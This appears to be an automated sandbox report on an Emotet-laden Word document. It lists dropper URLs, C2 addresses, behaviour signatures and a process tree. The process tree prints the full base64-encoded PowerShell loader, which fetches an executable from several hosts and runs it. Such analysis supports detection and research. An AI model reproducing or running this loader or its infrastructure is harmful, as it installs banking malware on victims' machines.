Overview

overview

10

Static

static

8

REP_PO_09152020EX.doc

windows7_x64

10

REP_PO_09152020EX.doc

windows10_x64

10

Analysis

  • max time kernel
    123s
  • max time network
    152s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    15/09/2020, 13:35

Sharing

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Report Analysis Logs

General

  • Target
    REP_PO_09152020EX.doc
  • Size 153KB
  • Sample200915-77e86d27e2
  • SHA256 f6b411752457e67af88361dab260e090f3eab65cc6c2ca63f8e2ee7b81a398cb
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://cnnmediaservices.com/wp-admin/czBMOhz/
  • exe.dropper

    http://ak3.net/t0XJ/
  • exe.dropper

    http://ovday.com/1umq/S5IWl04/
  • exe.dropper

    http://gch7.com/wp-includes/Nkwp/
  • exe.dropper

    http://chengmikeji.com/wp-includes/9QQ/
  • exe.dropper

    http://blog.anseeing.com/sys-cache/h/
  • exe.dropper

    http://1sync-wp.x.opencrm.eu/wp-content/Bu/

Extracted

Family

  • emotet

C2

  • 220.245.198.194:80

  • 104.156.59.7:8080

  • 120.138.30.150:8080

  • 139.59.67.118:443

  • 139.130.242.43:80

  • 104.32.141.43:80

  • 156.155.166.221:80

  • 121.7.127.163:80

  • 153.177.101.120:443

  • 162.241.242.173:8080

  • 91.211.88.52:7080

  • 95.179.229.244:8080

  • 103.86.49.11:8080

  • 139.59.60.244:8080

  • 121.124.124.40:7080

  • 104.131.11.150:443

  • 200.114.213.233:8080

  • 82.225.49.121:80

  • 79.98.24.39:8080

  • 5.196.74.210:8080

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\REP_PO_09152020EX.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1460
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -e JABEAGwAagBxAGMAcQB0AD0AKAAnAEYAJwArACgAJwA4ADcAcABiACcAKwAnADYAJwApACsAJwB2ACcAKQA7ACYAKAAnAG4AZQB3AC0AJwArACcAaQAnACsAJwB0AGUAbQAnACkAIAAkAGUAbgBWADoAdQBzAGUAcgBwAFIATwBmAGkATABFAFwAeQBzADEASAAyAG4AeABcAEMANgBOADYAdgB5AHEAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAFIAZQBjAHQAbwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBgAGMAVQBSAEkAVAB5AFAAcgBPAFQAYABvAEMAYABvAEwAIgAgAD0AIAAoACcAdAAnACsAKAAnAGwAJwArACcAcwAxADIAJwApACsAKAAnACwAIAB0ACcAKwAnAGwAJwApACsAKAAnAHMAMQAnACsAJwAxACwAIAB0ACcAKwAnAGwAcwAnACkAKQA7ACQATgBfAHUAbgBxAG4ANgAgAD0AIAAoACcASAAnACsAJwAzACcAKwAoACcAdgAnACsAJwBoAGsAJwArACcAcQB6AHIAJwApACsAJwAyACcAKQA7ACQATAA1ADgAdQBmADUAdQA9ACgAKAAnAEcAZgBlAHAAJwArACcAaQAnACkAKwAnAHQAXwAnACkAOwAkAFYAbgB5AHQAeQBrAG8APQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACgAJwBuAEwAJwArACcASgBZACcAKwAnAHMAMQBoADIAbgAnACkAKwAoACcAeABuAEwASgBDACcAKwAnADYAJwApACsAJwBuACcAKwAoACcANgB2AHkAJwArACcAcQAnACkAKwAoACcAbgAnACsAJwBMAEoAJwApACkAIAAgAC0AQwBSAEUAcABMAEEAQwBFACAAKABbAEMASABhAHIAXQAxADEAMAArAFsAQwBIAGEAcgBdADcANgArAFsAQwBIAGEAcgBdADcANAApACwAWwBDAEgAYQByAF0AOQAyACkAKwAkAE4AXwB1AG4AcQBuADYAKwAoACgAJwAuAGUAJwArACcAeAAnACkAKwAnAGUAJwApADsAJABBADYAcwBoAF8AaQBqAD0AKAAnAFAAJwArACgAJwA1ACcAKwAnAGQAaQAnACsAJwBiAHoAdwAnACkAKQA7ACQASQA0ADIAYwA1ADIAXwA9AC4AKAAnAG4AZQB3AC0AbwBiAGoAJwArACcAZQAnACsAJwBjAHQAJwApACAAbgBFAHQALgB3AEUAQgBjAGwAaQBFAG4AVAA7ACQATgB3AHgAbgBwAHYAaAA9ACgAKAAnAGgAdAB0ACcAKwAnAHAAJwApACsAKAAnADoALwAvACcAKwAnAGMAbgBuAG0AJwApACsAJwBlAGQAJwArACcAaQBhACcAKwAnAHMAJwArACgAJwBlACcAKwAnAHIAdgBpACcAKQArACcAYwBlACcAKwAoACcAcwAuAGMAJwArACcAbwBtACcAKwAnAC8AdwBwACcAKwAnAC0AYQBkAG0AaQBuAC8AYwB6ACcAKwAnAEIAJwApACsAKAAnAE0ATwBoACcAKwAnAHoALwAqACcAKwAnAGgAdAAnACkAKwAoACcAdAAnACsAJwBwADoALwAnACkAKwAoACcALwAnACsAJwBhAGsAMwAuACcAKwAnAG4AZQB0ACcAKQArACgAJwAvAHQAMABYACcAKwAnAEoALwAnACsAJwAqACcAKwAnAGgAdAB0AHAAOgAvACcAKwAnAC8AJwApACsAKAAnAG8AdgAnACsAJwBkACcAKwAnAGEAeQAuAGMAJwArACcAbwBtAC8AMQAnACkAKwAoACcAdQBtAHEAJwArACcALwAnACkAKwAnAFMANQAnACsAKAAnAEkAVwBsACcAKwAnADAAJwApACsAKAAnADQAJwArACcALwAqAGgAdAAnACkAKwAoACcAdABwADoAJwArACcALwAvACcAKQArACcAZwAnACsAJwBjACcAKwAnAGgANwAnACsAKAAnAC4AYwBvAG0AJwArACcALwB3ACcAKwAnAHAALQAnACkAKwAnAGkAbgAnACsAJwBjACcAKwAnAGwAJwArACcAdQBkACcAKwAnAGUAJwArACgAJwBzAC8ATgAnACsAJwBrAHcAJwArACcAcAAvACoAJwApACsAJwBoAHQAJwArACgAJwB0AHAAOgAvACcAKwAnAC8AJwArACcAYwBoACcAKwAnAGUAbgBnAG0AaQBrAGUAJwApACsAKAAnAGoAaQAuAGMAbwBtAC8AJwArACcAdwAnACsAJwBwACcAKQArACgAJwAtAGkAJwArACcAbgBjAGwAdQBkAGUAJwApACsAJwBzAC8AJwArACgAJwA5AFEAJwArACcAUQAvACoAaAAnACkAKwAoACcAdAB0AHAAJwArACcAOgAnACkAKwAnAC8ALwAnACsAKAAnAGIAJwArACcAbABvACcAKQArACgAJwBnAC4AYQBuAHMAJwArACcAZQAnACkAKwAoACcAZQBpACcAKwAnAG4AJwApACsAKAAnAGcAJwArACcALgBjAG8AbQAvACcAKQArACgAJwBzAHkAcwAtACcAKwAnAGMAYQBjAGgAZQAvACcAKwAnAGgAJwArACcALwAnACsAJwAqACcAKQArACgAJwBoACcAKwAnAHQAdABwADoALwAvADEAJwApACsAKAAnAHMAeQBuAGMAJwArACcALQAnACsAJwB3AHAALgAnACkAKwAoACcAeAAnACsAJwAuAG8AcABlAG4AJwArACcAYwByACcAKQArACcAbQAnACsAJwAuACcAKwAnAGUAJwArACgAJwB1AC8AJwArACcAdwAnACkAKwAoACcAcAAtACcAKwAnAGMAbwAnACkAKwAnAG4AdAAnACsAKAAnAGUAbgB0ACcAKwAnAC8AQgB1ACcAKQArACcALwAnACkALgAiAFMAcABMAGAASQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAUwBwAF8AMQBtAHkAMgA9ACgAKAAnAFcAJwArACcANQB2AHEANgAnACkAKwAnADYAJwArACcAdAAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABJAGYAYwB1ADEAYQB5ACAAaQBuACAAJABOAHcAeABuAHAAdgBoACkAewB0AHIAeQB7ACQASQA0ADIAYwA1ADIAXwAuACIAZABPAHcAYABOAGwAbwBgAEEAZABmAEkATABlACIAKAAkAEkAZgBjAHUAMQBhAHkALAAgACQAVgBuAHkAdAB5AGsAbwApADsAJABGADUAcQA2ADAAdAB6AD0AKAAoACcATwB0ACcAKwAnADAAbQAyACcAKQArACcAbABnACcAKQA7AEkAZgAgACgAKAAmACgAJwBHACcAKwAnAGUAJwArACcAdAAtAEkAdABlAG0AJwApACAAJABWAG4AeQB0AHkAawBvACkALgAiAGwAZQBgAE4AZwBgAFQAaAAiACAALQBnAGUAIAAzADEAMwA4ADEAKQAgAHsAJgAoACcASQBuAHYAJwArACcAbwBrAGUALQBJAHQAJwArACcAZQAnACsAJwBtACcAKQAoACQAVgBuAHkAdAB5AGsAbwApADsAJABJADEANQB0AGoAZgBuAD0AKAAoACcATQAnACsAJwBuAGYAeQA1ACcAKQArACcAdAAxACcAKQA7AGIAcgBlAGEAawA7ACQAQQBhAGkAaQAzADUAZwA9ACgAKAAnAFQAJwArACcAZgA0ACcAKQArACgAJwB6AG8AawAnACsAJwB0ACcAKQApAH0AfQBjAGEAdABjAGgAewB9AH0AJABBADgAdABmADEAdAAwAD0AKAAnAEMAMgAnACsAJwBzACcAKwAoACcAZwB0ACcAKwAnAHUAMQAnACkAKQA=
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1648
    • C:\Users\Admin\Ys1h2nx\C6n6vyq\H3vhkqzr2.exe
      "C:\Users\Admin\Ys1h2nx\C6n6vyq\H3vhkqzr2.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:304
      • C:\Windows\SysWOW64\fmifs\FirewallAPI.exe
        "C:\Windows\SysWOW64\fmifs\FirewallAPI.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:1152

Network

        MITRE ATT&CK Matrix

        Replay Monitor

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        Downloads

        memory/304-15-0x00000000003D0000-0x00000000003E2000-memory.dmp
        Download

        memory/304-16-0x0000000001BD0000-0x0000000001BE0000-memory.dmp
        Download

        memory/1116-22-0x000007FEF4C40000-0x000007FEF4EBA000-memory.dmp
        Download

        memory/1152-20-0x00000000003A0000-0x00000000003B2000-memory.dmp
        Download

        memory/1152-21-0x0000000000290000-0x00000000002A0000-memory.dmp
        Download

        memory/1460-0-0x00000000003E8000-0x00000000003EC000-memory.dmp
        Download

        memory/1460-5-0x0000000006CA0000-0x0000000006EA0000-memory.dmp
        Download

        memory/1460-2-0x00000000087E0000-0x00000000087E4000-memory.dmp
        Download

        memory/1648-11-0x000000001B7B0000-0x000000001B7B1000-memory.dmp
        Download

        memory/1648-12-0x000000001C520000-0x000000001C521000-memory.dmp
        Download

        memory/1648-10-0x00000000022E0000-0x00000000022E1000-memory.dmp
        Download

        memory/1648-9-0x0000000002480000-0x0000000002481000-memory.dmp
        Download

        memory/1648-8-0x000000001AC40000-0x000000001AC41000-memory.dmp
        Download

        memory/1648-7-0x0000000002530000-0x0000000002531000-memory.dmp
        Download

        memory/1648-6-0x000007FEF1530000-0x000007FEF1F1C000-memory.dmp
        Download